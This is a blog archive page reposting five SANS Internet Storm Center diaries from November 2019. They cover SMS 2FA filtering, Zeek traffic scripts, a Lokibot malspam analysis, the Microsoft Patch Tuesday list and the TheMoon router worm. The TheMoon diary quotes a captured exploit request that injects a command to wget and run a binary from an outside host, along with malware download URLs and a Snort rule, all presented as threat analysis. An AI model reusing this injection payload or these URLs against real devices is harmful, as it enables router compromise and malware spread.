Blog

Archive for SANS

SMS and 2FA: Another Reason to Move away from It., (Mon, Nov 18th)

Developing applications around SMS has become very popular, with several companies offering simple to use APIs and attractive pricing to send and receive SMS. One security-related application of these SMS APIs (for the right or wrong reasons) has been simple two-factor authentication. This time, I don’t want to talk so much about the security reasons not to use SMS to authenticate to critical systems, but some of the technical changes that are happening with SMS in the US and Canada.

Carriers in the US are usually not allowed to interfere with message delivery. The issue is similar to the larger “net-neutrality” question. Services considered telecommunication services must not be restricted or filtered, while information services can be restricted. Carriers argued that to curb spam and abuse of text messaging services, they need to be able to apply restrictions.

Late last year, the FCC did issue a ruling allowing carriers to restrict and filter SMS/MMS messages [1].

Starting this spring, some carriers in the US rolled out filters to restrict messages sent by applications. This “A2P” (Application to Person) messages can no longer be sent from regular long-distance numbers. Many small applications use standard long-distance numbers to send messages because they are cheap (typically about $1/month). The alternative is either toll-free numbers or shortcodes. Shortcodes are 5-6 digit long numbers specifically used for SMS, and they can not be used for standard voice calls. They can be very expensive (approx. $1,000/month),

 If your application uses SMS to, for example, notify you of system outages or send you a 2FA code, your messages may not be received if you are using a standard long-distance number to send the messages from. I found that there is often no error message in this case. The easiest (cheapest) solution right now appears to be to move to a toll-free number. They are not very expensive ($2-5/month) if you don’t care about the exact number and are willing to accept one of the less known toll-free area codes like 833. For shortcodes, some services offer “shared codes” where your application uses the same shortcode as other applications, but this can be more difficult to use in particular if you are expecting replies.

Of course, there are a few other methods to send messages:

  • Phone companies usually offer email to SMS gateways. These appear to be unaffected. But you will need to know which carrier a particular number is associated with.
  • You could use other messaging services (iMessage, Slack, Telegram…) that have some form of API. But again, you will need to support different services and different APIs making development more difficult, or you may even need to develop a dedicated mobile application.
  • There are some newer messaging standards like RCS. Just last month, the big US carrier finalized an interoperability standard for RCS, and it is still a bit too early to use it. Ultimately RCS is supposed to replace SMS/MMS. It allows for features like group messaging, and rich character sets that users have become accustomed to from other messaging services. The FCC ruling does not cover RCS at this point.

 

[1] https://docs.fcc.gov/public/attachments/FCC-18-178A1.pdf


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Some packet-fu with Zeek (previously known as bro), (Mon, Nov 11th)

During an incident response process, one of the fundamental variables to consider is speed. If a net capture is being made where we can presumably find evidence that who and how is causing an incident, any second counts in order to anticipate the attacker in the cyber kill chain sequence.

We need to use a passive approach in the analysis of network traffic to be quick in obtaining results. Zeek is a powerful tool to use in these scenarios. It is a tool with network traffic processing capabilities for application level protocols (DCE-RPC, DHCP, DNP3, DNS, FTP, HTTP, IMAP, IRC, KRB, MODBUS, MQTT, MYSQL, NTLM, NTP, POP3, RADIUS, RDP, RFB, SIP, SMB, SMTP, SOCKS, SSH, SSL, SYSLOG, TUNNELS, XMPP), pattern search and a powerful scripting language to process what the incident responder might require.

Zeek scripts work through events. We can find a summary of all possible events that can be used at https://docs.zeek.org/en/stable/scripts/base/bif/event.bif.zeek.html. Next we will review those that will be covered by the examples of this diary:

  • new_connection: This event is raised everytime a new connection is detected.
  • zeek_done: This event is raised when the packet input is exhausted.
  • protocol_confirmation: This event is raised when zeek was able to confirm the protocol inside a specific connection.

We will cover three simple use cases in this diary:

  • Top talkers by source IP connection and new connections performed.
  • Top talkers by source IP and destination port, with new connections performed.
  • Number of connections confirmed by zeek for a specific IP address with a specific protocol.

Top talkers by source IP connection

The following script implements the use case:

global attempts: table[addr] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local n = ++attempts[source];
}

event zeek_done ()
{
    local toplog=open(“toptalkers.log”);
    for (k in attempts)
        print toplog,fmt(“%s %s”,attempts[k],k);
    close(toplog);
}

 

Let’s go through the script in detail:

  • We will store the result in the attempts table. We will store there IP addresses type addr and count the occurrences with type count.
  • Using the new_connection event, we traverse the capture counting source IP addresses that generate new connections.
  • Once the packet input is exhausted, using the zeek_done event we create the toptalkers.log file and write the information in the attempts table separated by blank spaces.

Let’s see a snippet of the output:

We can get a sorted output:

Top talkers by source IP and destination port, with new connections performed

The following script implements the use case:

global attempts: table[addr,port] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local the_port = c$id$resp_p;
    local n = ++attempts[source,the_port];
}

event zeek_done ()
{
    local toplog=open(“toptalkers.log”);
    for ([k,l] in attempts)
        print toplog,fmt(“%s %s %s”,attempts[k,l],k,l);
    close(toplog);
}

 

Let’s review the differences from the previous one:

  • Table now includes ports. Therefore, a new type is included in declaration: port.
  • The source IP, the destination port and the counter for each repetition of this pair of data in the network capture are stored in the code within the new_connection event.
  • Information is written once packet processing is finished to file toptalkers.log.

Let’s see a snippet of this script:

We can get a sorted output:

Number of connections confirmed by zeek for a specific IP address with a specific protocol

The following script implements the use case:

global attempts: table[addr,Analyzer::Tag] of count &default=0; 
event protocol_confirmation (c: connection, the_type: Analyzer::Tag, aid:count)
{
    local source = c$id$orig_h;
    local n = ++attempts[source,the_type];
}

event zeek_done ()
{
    local toplog=open(“toptalkers.log”);
    for ([k,l] in attempts)
        print toplog,fmt(“%s,%s,%s”,k,l,attempts[k,l]);
    close(toplog);
}

 

We can see the some new aspects:

  • The Analyzer::Tag attribute: When the protocol_confirmation event is raised, this attribute saves the protocol that was confirmed by zeek to be in the connection.
  • Information is stored in the table and then saved to a file within the zeek_done event.

In my next diaries I will cover other interesting use cases with zeek using the frameworks that it has.

Manuel Humberto Santander Peláez
SANS Internet Storm Center – Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

An example of malspam pushing Lokibot malware, November 2019, (Wed, Nov 13th)

Introduction

I posted two diaries last year (2018) about Lokibot malware (sometimes spelled “Loki-bot”).  One was in June 2018 and one was in December 2018.  It’s been a while, so I wanted to share a recent example that came to my blog’s admin email on Tuesday 2019-11-12.

The email

You can get a copy of the sanitized email from this Any.Run link.


Shown above:  A copy of the email opened in Thunderbird.

The attachment was a RAR archive (link) and the RAR archive contained a Windows executable file disguised as a PDF document (link).


Shown above:  The attached RAR archive and the extracted Windows executable file.

The infection traffic

Infection traffic is easily detectable by signatures from the EmergingThreats Open ruleset.


Shown above:  Traffic from an infection filtered in Wireshark.


Shown above:  TCP stream from one of the HTTP requests caused by my sample of Lokibot malware.


Shown above:  EmergingThreats alerts from an Any.Run sandbox analysis of the Windows executable file.

Post-infection forensics on an infected Windows host

I was able to infect a Windows 10 host in my lab environment, and Lokibot made itself persistent through the Windows registry.


Shown above:  Lokibot on an infected Windows host.


Shown above:  Windows registry update caused by Lokibot to stay persistent.

Final words

SHA256 hash of the email:

SHA256 hash of the attached RAR archive:

SHA256 hash of the extracted Windows executable file (Lokibot malware):


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

November 2019 Microsoft Patch Tuesday, (Tue, Nov 12th)

Microsoft today patched a total of 74 vulnerabilities. This patch Tuesday release also includes two advisories. 15 of the vulnerabilities are rated critical.

Two vulnerabilities had been disclosed prior to today, and one critical scripting engine vulnerability has already been exploited in the wild. The vulnerability, CVE-2019-1429, may lead to remote code execution due to memory corruption in the scripting engine. All current versions of Windows / Internet Explorer are affected. This is probably the most important issue you need to patch. At the recent “Pwn2Own” contest in Tokyo, JavaScript engine issues were used to breach anything from smart TV to smartphones via not-so-smart browsers.

The first publicly disclosed problem, a confidentiality issue with Trusted Platform Module (TPM) chip firmware, is probably not as severe. It only affects the ECDSA algorithm, which isn’t used in Windows so far. Patching this issue will be difficult. You will need to update the TPM firmware (and the page Microsoft links to with details from the TPM manufacturer is down right now). Once updated, you need to re-enroll into security services. 

The second publicly known vulnerability affects the Microsoft Office Click-to-Run system (C2R). A crafted file could abuse these components to escalate privileges and execute code as System.

 

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure Stack Spoofing Vulnerability
%%cve:2019-1234%% No No Important    
DirectWrite Information Disclosure Vulnerability
%%cve:2019-1432%% No No Important 4.4 4.0
%%cve:2019-1411%% No No Less Likely Less Likely Important 4.4 4.0
Hyper-V Remote Code Execution Vulnerability
%%cve:2019-0719%% No No Less Likely Less Likely Critical 8.0 7.2
%%cve:2019-0721%% No No Less Likely Less Likely Critical 8.0 7.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-1406%% No No Less Likely Less Likely Important 6.7 6.0
Latest Servicing Stack Updates
ADV990001 No No Critical    
Microsoft ActiveX Installer Service Elevation of Privilege Vulnerability
%%cve:2019-1382%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-1413%% No No Important 4.3 3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-1446%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2019-1448%% No No Less Likely Less Likely Important    
Microsoft Exchange Remote Code Execution Vulnerability
%%cve:2019-1373%% No No Less Likely Less Likely Critical    
Microsoft Guidance for Vulnerability in Trusted Platform Module (TPM)
ADV190024 Yes No      
Microsoft Office ClickToRun Security Feature Bypass Vulnerability
%%cve:2019-1449%% No No Less Likely Less Likely Important    
Microsoft Office Excel Security Feature Bypass
%%cve:2019-1457%% Yes No Important    
Microsoft Office Information Disclosure Vulnerability
%%cve:2019-1402%% No No Less Likely Less Likely Important    
Microsoft Office Online Spoofing Vulnerability
%%cve:2019-1445%% No No Important    
%%cve:2019-1447%% No No Important    
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2019-1442%% No No Important    
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2019-1443%% No No Less Likely Less Likely Important    
Microsoft Windows Information Disclosure Vulnerability
%%cve:2019-1381%% No No Less Likely Less Likely Important 6.6 5.9
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2019-1430%% No No Critical 7.3 6.6
Microsoft Windows Security Feature Bypass Vulnerability
%%cve:2019-1384%% No No Less Likely Less Likely Important 8.5 7.6
Microsoft splwow64 Elevation of Privilege Vulnerability
%%cve:2019-1380%% No No Less Likely Less Likely Important 7.8 7.0
NetLogon Security Feature Bypass Vulnerability
%%cve:2019-1424%% No No Less Likely Less Likely Important 8.1 7.3
Open Enclave SDK Information Disclosure Vulnerability
%%cve:2019-1370%% No No Less Likely Less Likely Important 7.0 6.3
OpenType Font Driver Information Disclosure Vulnerability
%%cve:2019-1412%% No No Important 5.0 4.5
OpenType Font Parsing Remote Code Execution Vulnerability
%%cve:2019-1456%% No No Important 7.8 7.0
%%cve:2019-1419%% No No Less Likely Less Likely Critical 7.8 7.0
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-1429%% No Yes Detected Detected Critical 6.4 5.8
%%cve:2019-1426%% No No Critical 4.2 3.8
%%cve:2019-1427%% No No Critical 4.2 3.8
%%cve:2019-1428%% No No Critical 4.2 3.8
VBScript Remote Code Execution Vulnerability
%%cve:2019-1390%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Elevation of Privilege Vulnerability
%%cve:2019-1425%% No No Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2019-1434%% No No Important 7.0 6.3
%%cve:2019-1393%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1394%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1395%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1396%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1408%% No No More Likely More Likely Important 7.8 7.0
Win32k Graphics Remote Code Execution Vulnerability
%%cve:2019-1441%% No No Critical 6.7 6.0
Win32k Information Disclosure Vulnerability
%%cve:2019-1436%% No No More Likely More Likely Important 5.5 5.0
%%cve:2019-1440%% No No Less Likely Less Likely Important 5.0 4.5
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2019-1385%% No No Less Likely Less Likely Important 7.8 7.0
Windows Certificate Dialog Elevation of Privilege Vulnerability
%%cve:2019-1388%% No No Less Likely Less Likely Important 7.8 7.0
Windows Data Sharing Service Elevation of Privilege Vulnerability
%%cve:2019-1417%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1379%% No No Important 7.8 7.0
%%cve:2019-1383%% No No Important 7.8 7.0
Windows Denial of Service Vulnerability
%%cve:2018-12207%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-1391%% No No Less Likely Less Likely Important 5.5 5.0
Windows Elevation of Privilege Vulnerability
%%cve:2019-1420%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1422%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1423%% No No Important 7.8 7.0
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2019-1374%% No No Less Likely Less Likely Important 5.5 5.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-1439%% No No Less Likely Less Likely Important 4.7 4.2
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2019-1433%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1435%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1437%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1438%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1407%% No No Important 7.8 7.0
Windows Hyper-V Denial of Service Vulnerability
%%cve:2019-0712%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1309%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1310%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1399%% No No Less Likely Less Likely Important 5.4 4.9
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2019-1389%% No No Critical 7.6 6.8
%%cve:2019-1397%% No No Less Likely Less Likely Critical 7.6 6.8
%%cve:2019-1398%% No No Less Likely Less Likely Critical 7.6 6.8
Windows Installer Elevation of Privilege Vulnerability
%%cve:2019-1415%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-1392%% No No Important 7.0 6.3
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-11135%% No No Less Likely Less Likely Important 4.7 4.2
Windows Modules Installer Service Information Disclosure Vulnerability
%%cve:2019-1418%% No No Less Likely Less Likely Important 3.5 3.2
Windows Remote Procedure Call Information Disclosure Vulnerability
%%cve:2019-1409%% No No Less Likely Less Likely Important 5.5 5.0
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2019-1416%% No No Less Likely Less Likely Important 7.8 7.0
Windows TCP/IP Information Disclosure Vulnerability
%%cve:2019-1324%% No No Less Likely Less Likely Important 5.3 4.9
Windows UPnP Service Elevation of Privilege Vulnerability
%%cve:2019-1405%% No No Less Likely Less Likely Important 7.8 7.0


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Are We Going Back to TheMoon (and How is Liquor Involved)?, (Mon, Nov 11th)

Earlier today, we received an email from an analyst for a large corporation. He asked:

After setting up a dashboard to monitor for worm related traffic, a series of Suricata alerts began to fly in relation to ‘The Moon.’ These devices may have been vulnerable around the time that this article was written, and it is entirely possible that this has gone unnoticed. The traffic definitely seems to fit the profile, although, too few observations of this malware have been published to really compare and confirm from simple network analysis.

We wrote about the “Moon” worm back in 2014, over five years ago. So is this worm still making the rounds? I do indeed see a lot of “TheMoon” alerts in my logs. The one that fires the most is snort ID 29831: “SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt.”
“TheMoon” infected Linksys devices. It took advantage of a vulnerability in the tmUnblock.cgi CGI script. The signature is looking for requests to that specific URL:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt"; flow:established,to_server; content:"/tmUnblock.cgi"; fast_pattern:only; http_uri; content:"ttcp_ip"; http_client_body; pcre:"/ttcp_ip=.*?([x60x3bx7c]|[x3cx3ex24]x28|%60|%3b|%7c|%26|%3c%28|%3e%28|%24%28)/Pim"; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:url,isc.sans.edu/diary/Linksys+Worm+%28%22TheMoon%22%29+Captured/17630; classtype:attempted-admin; sid:29831; rev:3;)

The reference to the rule links to a diary from five years ago with the related attack traffic. To compare, I have traffic I captured recently against a honeypot:

POST /tmUnblock.cgi HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Liquor 1.0
Content-Length: 312
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+loli%3B+wget+http%3A%2F%2Fardp.hldns.ru%2Floligang.mpsl%3B+chmod+777+loligang.mpsl%3B+.%2Floligang.mpsl+loligang.mpsl.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

The payload is pretty much still the same. It again exploits the “tmUnblock/ttcp_ip” issue. Unlike the earlier exploit, the newer payload does not use an Authorization header. As we learned back with the original TheMoon, the authorization header was kind of optional, or at least the credentials didn’t have to match the actual credentials for the router. The exploit looks a bit more streamlined but other than that similar. 

The second stage turns out to be challenging to recover. I wasn’t able to connect to any of the recent download URLs. Sometimes these sites will only allow connections from IPs they scanned previously. Or they may just no longer be up and running. Here are some URLs I have seen in the last couple of days:

http://147.135.124.113/bins/linksys.cloudbot
http://142.44.251.105/mipsel
http://159.89.182.124/ankit/jno.mpsl
http://185.172.110.220/mipsel
http://ardp.hldns.ru/loligang.mpsl;

The user agent (Liquor 1.0) is also somewhat unique for this version, and used in other exploits against routers as well (e.g., some GPON exploits). I have only seen these exploits against port 8080, the default Linksys port. 
So what should you do? Likely, it is safe to ignore these scans. Unless a router responds (a tool like Zeek should quickly tell you if it does), I would ignore them or even turn off the signature. As soon as you have a web server listening on port 8080, you will see these scans. Of course, it can’t hurt to set up a rule looking for outbound traffic to make sure you are not the home to any infected devices. A regular vulnerability scan of your network should also quickly identify vulnerable systems.


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 5 of 312 «...34567...»